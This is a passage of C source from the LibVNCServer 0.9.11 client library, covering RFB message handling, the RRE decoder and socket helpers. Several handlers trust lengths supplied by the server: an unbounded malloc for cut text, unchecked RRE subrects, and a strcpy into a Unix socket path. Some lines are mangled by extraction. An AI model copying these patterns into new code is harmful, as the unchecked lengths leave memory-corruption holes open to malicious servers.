rfbClientSwap16IfLE(rect.r.h); if (rect.encoding == rfbEncodingXCursor || rect.encoding == rfbEncodingRichCursor) { if (!HandleCursorShape(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h, rect.encoding)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingPointerPos) { if (!client->HandleCursorPos(client,rect.r.x, rect.r.y)) { return FALSE; } continue; } if (rect.encoding == rfbEncodingKeyboardLedState) { /* OK! We have received a keyboard state message!!! */ client->KeyboardLedStateEnabled = 1; if (client->HandleKeyboardLedState!=NULL) client->HandleKeyboardLedState(client, rect.r.x, 0); /* stash it for the future */ client->CurrentKeyboardLedState = rect.r.x; continue; } if (rect.encoding == rfbEncodingNewFBSize) { client->width = rect.r.w; client->height = rect.r.h; client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, rect.r.w, rect.r.h, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", rect.r.w, rect.r.h); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingSupportedMessages) { int loop; if (!ReadFromRFBServer(client, (char *)&client->supportedMessages, sz_rfbSupportedMessages)) return FALSE; /* msgs is two sets of bit flags of supported messages client2server[] and server2client[] */ /* currently ignored by this library */ rfbClientLog("client2server supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.client2server[loop], client->supportedMessages.client2server[loop+1], client->supportedMessages.client2server[loop+2], client->supportedMessages.client2server[loop+3], client->supportedMessages.client2server[loop+4], client->supportedMessages.client2server[loop+5], client->supportedMessages.client2server[loop+6], client->supportedMessages.client2server[loop+7]); rfbClientLog("server2client supported messages (bit flags)\n"); for (loop=0;loop<32;loop+=8) rfbClientLog("%02X: %04x %04x %04x %04x - %04x %04x %04x %04x\n", loop, client->supportedMessages.server2client[loop], client->supportedMessages.server2client[loop+1], client->supportedMessages.server2client[loop+2], client->supportedMessages.server2client[loop+3], client->supportedMessages.server2client[loop+4], client->supportedMessages.server2client[loop+5], client->supportedMessages.server2client[loop+6], client->supportedMessages.server2client[loop+7]); continue; } /* rect.r.w=byte count, rect.r.h=# of encodings */ if (rect.encoding == rfbEncodingSupportedEncodings) { char *buffer; buffer = malloc(rect.r.w); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } /* buffer now contains rect.r.h # of uint32_t encodings that the server supports */ /* currently ignored by this library */ free(buffer); continue; } /* rect.r.w=byte count */ if (rect.encoding == rfbEncodingServerIdentity) { char *buffer; buffer = malloc(rect.r.w+1); if (!ReadFromRFBServer(client, buffer, rect.r.w)) { free(buffer); return FALSE; } buffer[rect.r.w]=0; /* null terminate, just in case */ rfbClientLog("Connected to Server \"%s\"\n", buffer); free(buffer); continue; } /* rfbEncodingUltraZip is a collection of subrects. x = # of subrects, and h is always 0 */ if (rect.encoding != rfbEncodingUltraZip) { if ((rect.r.x + rect.r.w > client->width) || (rect.r.y + rect.r.h > client->height)) { rfbClientLog("Rect too large: %dx%d at (%d, %d)\n", rect.r.w, rect.r.h, rect.r.x, rect.r.y); return FALSE; } /* UltraVNC with scaling, will send rectangles with a zero W or H * if ((rect.encoding != rfbEncodingTight) && (rect.r.h * rect.r.w == 0)) { rfbClientLog("Zero size rect - ignoring (encoding=%d (0x%08x) %dx, %dy, %dw, %dh)\n", rect.encoding, rect.encoding, rect.r.x, rect.r.y, rect.r.w, rect.r.h); continue; } */ /* If RichCursor encoding is used, we should prevent collisions between framebuffer updates and cursor drawing operations. */ client->SoftCursorLockArea(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } switch (rect.encoding) { case rfbEncodingRaw: { int y=rect.r.y, h=rect.r.h; bytesPerLine = rect.r.w * client->format.bitsPerPixel / 8; /* RealVNC 4.x-5.x on OSX can induce bytesPerLine==0, usually during GPU accel. */ /* Regardless of cause, do not divide by zero. */ linesToRead = bytesPerLine ? (RFB_BUFFER_SIZE / bytesPerLine) : 0; while (h > 0) { if (linesToRead > h) linesToRead = h; if (!ReadFromRFBServer(client, client->buffer,bytesPerLine * linesToRead)) return FALSE; CopyRectangle(client, (uint8_t *)client->buffer, rect.r.x, y, rect.r.w,linesToRead); h -= linesToRead; y += linesToRead; } break; } case rfbEncodingCopyRect: { rfbCopyRect cr; if (!ReadFromRFBServer(client, (char *)&cr, sz_rfbCopyRect)) return FALSE; cr.srcX = rfbClientSwap16IfLE(cr.srcX); cr.srcY = rfbClientSwap16IfLE(cr.srcY); /* If RichCursor encoding is used, we should extend our "cursor lock area" (previously set to destination rectangle) to the source rectangle as well. */ client->SoftCursorLockArea(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h); if (client->GotCopyRect != NULL) { client->GotCopyRect(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); } else CopyRectangleFromRectangle(client, cr.srcX, cr.srcY, rect.r.w, rect.r.h, rect.r.x, rect.r.y); break; } case rfbEncodingRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingCoRRE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleCoRRE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleCoRRE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleCoRRE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingHextile: { switch (client->format.bitsPerPixel) { case 8: if (!HandleHextile8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleHextile16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleHextile32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltra: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltra8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltra16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltra32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } case rfbEncodingUltraZip: { switch (client->format.bitsPerPixel) { case 8: if (!HandleUltraZip8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleUltraZip16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleUltraZip32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZlib8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleZlib16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleZlib32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #ifdef LIBVNCSERVER_HAVE_LIBJPEG case rfbEncodingTight: { switch (client->format.bitsPerPixel) { case 8: if (!HandleTight8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (!HandleTight16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 32: if (!HandleTight32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } break; } #endif case rfbEncodingZRLE: /* Fail safe for ZYWRLE unsupport VNC server. */ client->appData.qualityLevel = 9; /* fall through */ case rfbEncodingZYWRLE: { switch (client->format.bitsPerPixel) { case 8: if (!HandleZRLE8(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; case 16: if (client->si.format.greenMax > 0x1F) { if (!HandleZRLE16(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else { if (!HandleZRLE15(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } break; case 32: { uint32_t maxColor=(client->format.redMax<format.redShift)| (client->format.greenMax<format.greenShift)| (client->format.blueMax<format.blueShift); if ((client->format.bigEndian && (maxColor&0xff)==0) || (!client->format.bigEndian && (maxColor&0xff000000)==0)) { if (!HandleZRLE24(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!client->format.bigEndian && (maxColor&0xff)==0) { if (!HandleZRLE24Up(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (client->format.bigEndian && (maxColor&0xff000000)==0) { if (!HandleZRLE24Down(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; } else if (!HandleZRLE32(client, rect.r.x,rect.r.y,rect.r.w,rect.r.h)) return FALSE; break; } } break; } #endif default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleEncoding && e->handleEncoding(client, &rect)) handled = TRUE; if(!handled) { rfbClientLog("Unknown rect encoding %d\n", (int)rect.encoding); return FALSE; } } } /* Now we may discard "soft cursor locks". */ client->SoftCursorUnlockScreen(client); client->GotFrameBufferUpdate(client, rect.r.x, rect.r.y, rect.r.w, rect.r.h); } if (!SendIncrementalFramebufferUpdateRequest(client)) return FALSE; if (client->FinishedFrameBufferUpdate) client->FinishedFrameBufferUpdate(client); break; } case rfbBell: { client->Bell(client); break; } case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); buffer = malloc(msg.sct.length+1); if (!ReadFromRFBServer(client, buffer, msg.sct.length)) return FALSE; buffer[msg.sct.length] = 0; if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); free(buffer); break; } case rfbTextChat: { char *buffer=NULL; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbTextChatMsg- 1)) return FALSE; msg.tc.length = rfbClientSwap32IfLE(msg.sct.length); switch(msg.tc.length) { case rfbTextChatOpen: rfbClientLog("Received TextChat Open\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatOpen, NULL); break; case rfbTextChatClose: rfbClientLog("Received TextChat Close\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatClose, NULL); break; case rfbTextChatFinished: rfbClientLog("Received TextChat Finished\n"); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)rfbTextChatFinished, NULL); break; default: buffer=malloc(msg.tc.length+1); if (!ReadFromRFBServer(client, buffer, msg.tc.length)) { free(buffer); return FALSE; } /* Null Terminate */ buffer[msg.tc.length]=0; rfbClientLog("Received TextChat \"%s\"\n", buffer); if (client->HandleTextChat!=NULL) client->HandleTextChat(client, (int)msg.tc.length, buffer); free(buffer); break; } break; } case rfbXvp: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbXvpMsg -1)) return FALSE; SetClient2Server(client, rfbXvp); /* technically, we only care what we can *send* to the server * but, we set Server2Client Just in case it ever becomes useful */ SetServer2Client(client, rfbXvp); if(client->HandleXvpMsg) client->HandleXvpMsg(client, msg.xvp.version, msg.xvp.code); break; } case rfbResizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbResizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.rsfb.framebufferWidth); client->height = rfbClientSwap16IfLE(msg.rsfb.framebufferHeigth); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } case rfbPalmVNCReSizeFrameBuffer: { if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbPalmVNCReSizeFrameBufferMsg -1)) return FALSE; client->width = rfbClientSwap16IfLE(msg.prsfb.buffer_w); client->height = rfbClientSwap16IfLE(msg.prsfb.buffer_h); client->updateRect.x = client->updateRect.y = 0; client->updateRect.w = client->width; client->updateRect.h = client->height; if (!client->MallocFrameBuffer(client)) return FALSE; SendFramebufferUpdateRequest(client, 0, 0, client->width, client->height, FALSE); rfbClientLog("Got new framebuffer size: %dx%d\n", client->width, client->height); break; } default: { rfbBool handled = FALSE; rfbClientProtocolExtension* e; for(e = rfbClientExtensions; !handled && e; e = e->next) if(e->handleMessage && e->handleMessage(client, &msg)) handled = TRUE; if(!handled) { char buffer[256]; rfbClientLog("Unknown message type %d from VNC server\n",msg.type); ReadFromRFBServer(client, buffer, 256); return FALSE; } } } return TRUE; } #define GET_PIXEL8(pix, ptr) ((pix) = *(ptr)++) #define GET_PIXEL16(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++) #define GET_PIXEL32(pix, ptr) (((uint8_t*)&(pix))[0] = *(ptr)++, \ ((uint8_t*)&(pix))[1] = *(ptr)++, \ ((uint8_t*)&(pix))[2] = *(ptr)++, \ ((uint8_t*)&(pix))[3] = *(ptr)++) /* CONCAT2 concatenates its two arguments. CONCAT2E does the same but also expands its arguments if they are macros */ #define CONCAT2(a,b) a##b #define CONCAT2E(a,b) CONCAT2(a,b) #define CONCAT3(a,b,c) a##b##c #define CONCAT3E(a,b,c) CONCAT3(a,b,c) #define BPP 8 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "zrle.c" #undef BPP #define BPP 16 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "zrle.c" #define REALBPP 15 #include "zrle.c" #undef BPP #define BPP 32 #include "rre.c" #include "corre.c" #include "hextile.c" #include "ultra.c" #include "zlib.c" #include "tight.c" #include "zrle.c" #define REALBPP 24 #include "zrle.c" #define REALBPP 24 #define UNCOMP 8 #include "zrle.c" #define REALBPP 24 #define UNCOMP -8 #include "zrle.c" #undef BPP /* * PrintPixelFormat. */ void PrintPixelFormat(rfbPixelFormat *format) { if (format->bitsPerPixel == 1) { rfbClientLog(" Single bit per pixel.\n"); rfbClientLog( " %s significant bit in each byte is leftmost on the screen.\n", (format->bigEndian ? "Most" : "Least")); } else { rfbClientLog(" %d bits per pixel.\n",format->bitsPerPixel); if (format->bitsPerPixel != 8) { rfbClientLog(" %s significant byte first in each pixel.\n", (format->bigEndian ? "Most" : "Least")); } if (format->trueColour) { rfbClientLog(" TRUE colour: max red %d green %d blue %d" ", shift red %d green %d blue %d\n", format->redMax, format->greenMax, format->blueMax, format->redShift, format->greenShift, format->blueShift); } else { rfbClientLog(" Colour map (not true colour).\n"); } } } /* avoid name clashes with LibVNCServer */ #define rfbEncryptBytes rfbClientEncryptBytes #define rfbEncryptBytes2 rfbClientEncryptBytes2 #define rfbDes rfbClientDes #define rfbDesKey rfbClientDesKey #define rfbUseKey rfbClientUseKey #define rfbCPKey rfbClientCPKey #include "vncauth.c" #include "d3des.c" libvncserver-LibVNCServer-0.9.11/libvncclient/rre.c000066400000000000000000000041531303145525000221610ustar00rootroot00000000000000/* * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * rre.c - handle RRE encoding. * * This file shouldn't be compiled directly. It is included multiple times by * rfbproto.c, each time with a different definition of the macro BPP. For * each value of BPP, this file defines a function which handles an RRE * encoded rectangle with BPP bits per pixel. */ #define HandleRREBPP CONCAT2E(HandleRRE,BPP) #define CARDBPP CONCAT3E(uint,BPP,_t) static rfbBool HandleRREBPP (rfbClient* client, int rx, int ry, int rw, int rh) { rfbRREHeader hdr; int i; CARDBPP pix; rfbRectangle subrect; if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbRREHeader)) return FALSE; hdr.nSubrects = rfbClientSwap32IfLE(hdr.nSubrects); if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) return FALSE; FillRectangle(client, rx, ry, rw, rh, pix); for (i = 0; i < hdr.nSubrects; i++) { if (!ReadFromRFBServer(client, (char *)&pix, sizeof(pix))) return FALSE; if (!ReadFromRFBServer(client, (char *)&subrect, sz_rfbRectangle)) return FALSE; subrect.x = rfbClientSwap16IfLE(subrect.x); subrect.y = rfbClientSwap16IfLE(subrect.y); subrect.w = rfbClientSwap16IfLE(subrect.w); subrect.h = rfbClientSwap16IfLE(subrect.h); FillRectangle(client, rx+subrect.x, ry+subrect.y, subrect.w, subrect.h, pix); } return TRUE; } #undef CARDBPP libvncserver-LibVNCServer-0.9.11/libvncclient/sockets.c000066400000000000000000000427071303145525000230530ustar00rootroot00000000000000/* * Copyright (C) 2011-2012 Christian Beier * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * sockets.c - functions to deal with sockets. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #ifdef __linux__ /* Setting this on other systems hides definitions such as INADDR_LOOPBACK. * The check should be for __GLIBC__ in fact. */ # define _POSIX_SOURCE #endif #endif #include #include #include #include #include #ifdef WIN32 #undef SOCKET #include #define EWOULDBLOCK WSAEWOULDBLOCK #define close closesocket #define read(sock,buf,len) recv(sock,buf,len,0) #define write(sock,buf,len) send(sock,buf,len,0) #define socklen_t int #ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H #undef socklen_t #include #endif #else #include #include #include #include #include #include #endif #include "tls.h" #ifdef _MSC_VER # define snprintf _snprintf #endif void PrintInHex(char *buf, int len); rfbBool errorMessageOnReadFailure = TRUE; /* * ReadFromRFBServer is called whenever we want to read some data from the RFB * server. It is non-trivial for two reasons: * * 1. For efficiency it performs some intelligent buffering, avoiding invoking * the read() system call too often. For small chunks of data, it simply * copies the data out of an internal buffer. For large amounts of data it * reads directly into the buffer provided by the caller. * * 2. Whenever read() would block, it invokes the Xt event dispatching * mechanism to process X events. In fact, this is the only place these * events are processed, as there is no XtAppMainLoop in the program. */ rfbBool ReadFromRFBServer(rfbClient* client, char *out, unsigned int n) { #undef DEBUG_READ_EXACT #ifdef DEBUG_READ_EXACT char* oout=out; int nn=n; rfbClientLog("ReadFromRFBServer %d bytes\n",n); #endif /* Handle attempts to write to NULL out buffer that might occur when an outside malloc() fails. For instance, memcpy() to NULL results in undefined behaviour and probably memory corruption.*/ if(!out) return FALSE; if (client->serverPort==-1) { /* vncrec playing */ rfbVNCRec* rec = client->vncRec; struct timeval tv; if (rec->readTimestamp) { rec->readTimestamp = FALSE; if (!fread(&tv,sizeof(struct timeval),1,rec->file)) return FALSE; tv.tv_sec = rfbClientSwap32IfLE (tv.tv_sec); tv.tv_usec = rfbClientSwap32IfLE (tv.tv_usec); if (rec->tv.tv_sec!=0 && !rec->doNotSleep) { struct timeval diff; diff.tv_sec = tv.tv_sec - rec->tv.tv_sec; diff.tv_usec = tv.tv_usec - rec->tv.tv_usec; if(diff.tv_usec<0) { diff.tv_sec--; diff.tv_usec+=1000000; } #ifndef WIN32 sleep (diff.tv_sec); usleep (diff.tv_usec); #else Sleep (diff.tv_sec * 1000 + diff.tv_usec/1000); #endif } rec->tv=tv; } return (fread(out,1,n,rec->file) != n ? FALSE : TRUE); } if (n <= client->buffered) { memcpy(out, client->bufoutptr, n); client->bufoutptr += n; client->buffered -= n; #ifdef DEBUG_READ_EXACT goto hexdump; #endif return TRUE; } memcpy(out, client->bufoutptr, client->buffered); out += client->buffered; n -= client->buffered; client->bufoutptr = client->buf; client->buffered = 0; if (n <= RFB_BUF_SIZE) { while (client->buffered < n) { int i; if (client->tlsSession) { i = ReadFromTLS(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); } else { i = read(client->sock, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); } if (i <= 0) { if (i < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif if (errno == EWOULDBLOCK || errno == EAGAIN) { /* TODO: ProcessXtEvents(); */ WaitForMessage(client, 100000); i = 0; } else { rfbClientErr("read (%d: %s)\n",errno,strerror(errno)); return FALSE; } } else { if (errorMessageOnReadFailure) { rfbClientLog("VNC server closed connection\n"); } return FALSE; } } client->buffered += i; } memcpy(out, client->bufoutptr, n); client->bufoutptr += n; client->buffered -= n; } else { while (n > 0) { int i; if (client->tlsSession) { i = ReadFromTLS(client, out, n); } else { i = read(client->sock, out, n); } if (i <= 0) { if (i < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif if (errno == EWOULDBLOCK || errno == EAGAIN) { /* TODO: ProcessXtEvents(); */ WaitForMessage(client, 100000); i = 0; } else { rfbClientErr("read (%s)\n",strerror(errno)); return FALSE; } } else { if (errorMessageOnReadFailure) { rfbClientLog("VNC server closed connection\n"); } return FALSE; } } out += i; n -= i; } } #ifdef DEBUG_READ_EXACT hexdump: { int ii; for(ii=0;iiserverPort==-1) return TRUE; /* vncrec playing */ if (client->tlsSession) { /* WriteToTLS() will guarantee either everything is written, or error/eof returns */ i = WriteToTLS(client, buf, n); if (i <= 0) return FALSE; return TRUE; } while (i < n) { j = write(client->sock, buf + i, (n - i)); if (j <= 0) { if (j < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif if (errno == EWOULDBLOCK || #ifdef LIBVNCSERVER_ENOENT_WORKAROUND errno == ENOENT || #endif errno == EAGAIN) { FD_ZERO(&fds); FD_SET(client->sock,&fds); if (select(client->sock+1, NULL, &fds, NULL, NULL) <= 0) { rfbClientErr("select\n"); return FALSE; } j = 0; } else { rfbClientErr("write\n"); return FALSE; } } else { rfbClientLog("write failed\n"); return FALSE; } } i += j; } return TRUE; } static int initSockets() { #ifdef WIN32 WSADATA trash; static rfbBool WSAinitted=FALSE; if(!WSAinitted) { int i=WSAStartup(MAKEWORD(2,0),&trash); if(i!=0) { rfbClientErr("Couldn't init Windows Sockets\n"); return 0; } WSAinitted=TRUE; } #endif return 1; } /* * ConnectToTcpAddr connects to the given TCP port. */ int ConnectClientToTcpAddr(unsigned int host, int port) { int sock; struct sockaddr_in addr; int one = 1; if (!initSockets()) return -1; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = host; sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { #ifdef WIN32 errno=WSAGetLastError(); #endif rfbClientErr("ConnectToTcpAddr: socket (%s)\n",strerror(errno)); return -1; } if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { rfbClientErr("ConnectToTcpAddr: connect\n"); close(sock); return -1; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbClientErr("ConnectToTcpAddr: setsockopt\n"); close(sock); return -1; } return sock; } int ConnectClientToTcpAddr6(const char *hostname, int port) { #ifdef LIBVNCSERVER_IPv6 int sock; int n; struct addrinfo hints, *res, *ressave; char port_s[10]; int one = 1; if (!initSockets()) return -1; snprintf(port_s, 10, "%d", port); memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if ((n = getaddrinfo(hostname, port_s, &hints, &res))) { rfbClientErr("ConnectClientToTcpAddr6: getaddrinfo (%s)\n", gai_strerror(n)); return -1; } ressave = res; sock = -1; while (res) { sock = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (sock >= 0) { if (connect(sock, res->ai_addr, res->ai_addrlen) == 0) break; close(sock); sock = -1; } res = res->ai_next; } freeaddrinfo(ressave); if (sock == -1) { rfbClientErr("ConnectClientToTcpAddr6: connect\n"); return -1; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbClientErr("ConnectToTcpAddr: setsockopt\n"); close(sock); return -1; } return sock; #else rfbClientErr("ConnectClientToTcpAddr6: IPv6 disabled\n"); return -1; #endif } int ConnectClientToUnixSock(const char *sockFile) { #ifdef WIN32 rfbClientErr("Windows doesn't support UNIX sockets\n"); return -1; #else int sock; struct sockaddr_un addr; addr.sun_family = AF_UNIX; strcpy(addr.sun_path, sockFile); sock = socket(AF_UNIX, SOCK_STREAM, 0); if (sock < 0) { rfbClientErr("ConnectToUnixSock: socket (%s)\n",strerror(errno)); return -1; } if (connect(sock, (struct sockaddr *)&addr, sizeof(addr.sun_family) + strlen(addr.sun_path)) < 0) { rfbClientErr("ConnectToUnixSock: connect\n"); close(sock); return -1; } return sock; #endif } /* * FindFreeTcpPort tries to find unused TCP port in the range * (TUNNEL_PORT_OFFSET, TUNNEL_PORT_OFFSET + 99]. Returns 0 on failure. */ int FindFreeTcpPort(void) { int sock, port; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); if (!initSockets()) return -1; sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { rfbClientErr(": FindFreeTcpPort: socket\n"); return 0; } for (port = TUNNEL_PORT_OFFSET + 99; port > TUNNEL_PORT_OFFSET; port--) { addr.sin_port = htons((unsigned short)port); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) { close(sock); return port; } } close(sock); return 0; } /* * ListenAtTcpPort starts listening at the given TCP port. */ int ListenAtTcpPort(int port) { return ListenAtTcpPortAndAddress(port, NULL); } /* * ListenAtTcpPortAndAddress starts listening at the given TCP port on * the given IP address */ int ListenAtTcpPortAndAddress(int port, const char *address) { int sock; int one = 1; #ifndef LIBVNCSERVER_IPv6 struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(port); if (address) { addr.sin_addr.s_addr = inet_addr(address); } else { addr.sin_addr.s_addr = htonl(INADDR_ANY); } if (!initSockets()) return -1; sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { rfbClientErr("ListenAtTcpPort: socket\n"); return -1; } if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&one, sizeof(one)) < 0) { rfbClientErr("ListenAtTcpPort: setsockopt\n"); close(sock); return -1; } if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { rfbClientErr("ListenAtTcpPort: bind\n"); close(sock); return -1; } #else int rv; struct addrinfo hints, *servinfo, *p; char port_str[8]; snprintf(port_str, 8, "%d", port); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; /* fill in wildcard address if address == NULL */ if (!initSockets()) return -1; if ((rv = getaddrinfo(address, port_str, &hints, &servinfo)) != 0) { rfbClientErr("ListenAtTcpPortAndAddress: error in getaddrinfo: %s\n", gai_strerror(rv)); return -1; } /* loop through all the results and bind to the first we can */ for(p = servinfo; p != NULL; p = p->ai_next) { if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { continue; } #ifdef IPV6_V6ONLY /* we have separate IPv4 and IPv6 sockets since some OS's do not support dual binding */ if (p->ai_family == AF_INET6 && setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) { rfbClientErr("ListenAtTcpPortAndAddress: error in setsockopt IPV6_V6ONLY: %s\n", strerror(errno)); close(sock); freeaddrinfo(servinfo); return -1; } #endif if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) { rfbClientErr("ListenAtTcpPortAndAddress: error in setsockopt SO_REUSEADDR: %s\n", strerror(errno)); close(sock); freeaddrinfo(servinfo); return -1; } if (bind(sock, p->ai_addr, p->ai_addrlen) < 0) { close(sock); continue; } break; } if (p == NULL) { rfbClientErr("ListenAtTcpPortAndAddress: error in bind: %s\n", strerror(errno)); return -1; } /* all done with this structure now */ freeaddrinfo(servinfo); #endif if (listen(sock, 5) < 0) { rfbClientErr("ListenAtTcpPort: listen\n"); close(sock); return -1; } return sock; } /* * AcceptTcpConnection accepts a TCP connection. */ int AcceptTcpConnection(int listenSock) { int sock; struct sockaddr_in addr; socklen_t addrlen = sizeof(addr); int one = 1; sock = accept(listenSock, (struct sockaddr *) &addr, &addrlen); if (sock < 0) { rfbClientErr("AcceptTcpConnection: accept\n"); return -1; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbClientErr("AcceptTcpConnection: setsockopt\n"); close(sock); return -1; } return sock; } /* * SetNonBlocking sets 